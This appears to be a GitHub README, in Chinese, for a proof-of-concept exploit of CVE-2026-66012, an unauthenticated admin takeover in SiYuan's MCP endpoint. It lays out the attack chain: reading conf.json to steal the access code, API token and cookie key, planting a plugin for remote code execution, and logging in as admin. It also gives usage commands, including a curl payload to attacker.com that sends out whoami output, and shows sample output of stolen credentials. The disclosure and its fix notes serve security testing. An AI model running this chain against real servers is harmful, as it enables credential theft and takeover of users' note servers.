Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
GitHub: Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
针对 SiYuan 笔记软件 MCP 端点缺少授权漏洞(CVE-2026-66012)的概念验证 exploit,演示了从匿名访问到管理员接管及远程代码执行的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2026-66012 — SiYuan MCP 未授权管理员接管
**CVE-2026-66012**(CVSS 10.0 Critical)的概念验证,这是 SiYuan 的 MCP(Model Context Protocol)端点中的一个缺少授权的漏洞。当 Publish 服务器以匿名模式启用时,未经身份验证的攻击者可以利用该漏洞实现管理员接管和远程代码执行。
## 漏洞概述
| 字段 | 值 |
|---|---|
| **CVE** | CVE-2026-66012 |
| **CVSS 3.1** | 10.0 Critical |
| **CWE** | CWE-862 — 缺少授权 |
| **受影响版本** | SiYuan < v3.7.2 |
| **修复版本** | v3.7.2 (commit `df51c2bda696`) |
| **报告者** | Nguyen Van Hiep (@hypnguyen1209), MBBank |
## 根本原因
三个缺陷组合构成了此攻击链:
1. **`POST /mcp`** 仅注册了 `model.CheckAuth` —— 没有 `CheckAdminRole` 或 `CheckReadonly`。任何有效的 JWT(包括 Reader 范围的)都可以调用所有 31 个 MCP 工具。
2. **工具调度器**(`handler.go`)在调用工具时未检查调用者的角色。
3. 当 `Publish.Auth.Enable=false` 时,**Publish 反向代理**会向每个请求注入一个匿名的 `RoleReader` JWT,将缺少授权的漏洞转化为未经身份验证的漏洞。
## 攻击链
1. 在 Publish 端口上通过 `POST /mcp` 进行 **MCP 握手**(无需凭据)
2. **读取 `conf/conf.json`** → 提取 `accessAuthCode`、`api.token`、`cookieKey`
3. 在 `data/plugins/pwn/` 处 **植入插件** → 桌面端下次启动时通过 `nodeIntegration:true` 触发 RCE
4. 使用窃取的 `accessAuthCode` 在端口 6806 上进行 **管理员登录**
## 前置条件
- Python 3.8+
- `requests` 库(`pip install requests`)
- Docker 20.10+(仅用于搭建测试环境)
## 用法
```
# 完整 exploit(credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808
# 为植入的 plugin 自定义 payload
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# 仅 credential exfiltration(不进行 plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin
```
## 测试环境搭建
**仅供授权测试使用。** 在本地搭建一个易受攻击的实例:
```
# 创建 workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# 启动存在漏洞的 SiYuan v3.7.1
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# 以匿名模式启用 Publish server
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# 运行 exploit
python3 exploit.py http://127.0.0.1:6808 "id"
```
## 预期输出
```
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
```
## 修复方案
升级至 **SiYuan v3.7.2 或更高版本**。此修复(commit `df51c2bda696`)应用了以下措施:
1. 在 `/mcp` 路由上应用 `CheckAdminRole` + `CheckReadonly` 中间件
2. 在文件工具中明确阻止对 `conf/conf.json` 的访问
3. Publish 代理路径白名单机制(对于匿名用户,管理员路径返回 401)
## 参考
- [GHSA-cvhv-7xhj-xjp8](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cvhv-7xhj-xjp8)
- [NVD CVE-2026-66012](https://nvd.nist.gov/vuln/detail/CVE-2026-66012)
- [修复 commit df51c2bd](https://github.com/siyuan-note/siyuan/commit/df51c2bda696)
- [VulnCheck 安全通告](https://www.vulncheck.com/advisories/siyuan-before-unauthenticated-administrator-takeover-via-mcp)
## 免责声明
此 PoC 仅用于授权的安全测试和教育目的。在未经明确许可的情况下,对您不拥有的系统进行未经授权的使用是非法的。作者不对本代码的任何滥用行为负责。
标签:Maven, Python, StruQ, Web报告查看器, 无后门, 漏洞验证, 请求拦截, 逆向工具